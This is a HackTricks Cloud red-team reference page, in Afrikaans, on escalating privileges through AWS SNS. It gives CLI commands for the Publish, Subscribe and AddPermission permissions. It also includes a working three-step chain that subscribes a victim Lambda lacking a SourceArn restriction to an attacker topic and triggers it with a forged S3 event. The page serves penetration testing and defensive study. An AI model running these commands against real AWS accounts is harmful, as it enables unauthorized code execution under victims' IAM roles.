AWS - SNS Privesc
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
SNS
Vir meer inligting sien:
sns:Publish
’n aanvaller kan skadelike of ongewenste boodskappe na die SNS-topic stuur, wat moontlik databeskadiging veroorsaak, onbedoelde aksies uitlok, of hulpbronne uitput.
aws sns publish --topic-arn <value> --message <value>
Potensiële impak: Uitbuiting van kwesbaarhede, data-korrupsie, onbedoelde handelinge, of uitputting van hulpbronne.
sns:Subscribe
’n aanvaller kan op ’n SNS-onderwerp inteken, waardeur hy moontlik ongemagtigde toegang tot boodskappe verkry of die normale werking van toepassings wat op die onderwerp staatmaak, ontwrig.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Potensiële impak: Ongemagtigde toegang tot boodskappe (sensitiewe inligting), diensonderbreking vir toepassings wat afhanklik is van die betrokke topic.
sns:AddPermission
’n Aanvaller kan ongemagtigde gebruikers of dienste toegang tot ’n SNS topic verleen, wat moontlik verdere regte kan oplewer.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Potensiële impak: Ongemagtigde toegang tot die topic, blootstelling van boodskappe, of manipulasie van die topic deur ongemagtigde gebruikers of dienste, ontwrigting van normale werking vir toepassings wat op die topic staatmaak.
Roep ’n Lambda aan deur wildcard SNS-magtiging te misbruik (geen SourceArn)
As ’n Lambda-funksie se resource-based policy toelaat dat sns.amazonaws.com dit aanroep sonder om die bron-topic (SourceArn) te beperk, kan enige SNS-topic (selfs in ’n ander account) inteken en die funksie trigger. ’n Aanvaller met basiese SNS-permissies kan die Lambda dwing om uit te voer onder sy IAM-rol met aanvallersbeheerde invoer.
Tip
TODO: Kan dit regtig cross-account gedoen word?
Voorvereistes
- Slagoffer se Lambda-policy bevat ’n stelling soos hieronder, met GEEN
SourceArn-voorwaarde:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Misbruikstappe (dieselfde of cross-account)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Potential Impact: Die slagoffer Lambda word uitgevoer met sy IAM role en verwerk invoer wat deur die aanvaller beheer word. Dit kan misbruik word om die funksie gevoelige aksies te laat uitvoer (bv., skryf na S3, toegang tot secrets, wysig hulpbronne), afhangende van sy toestemmings.
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

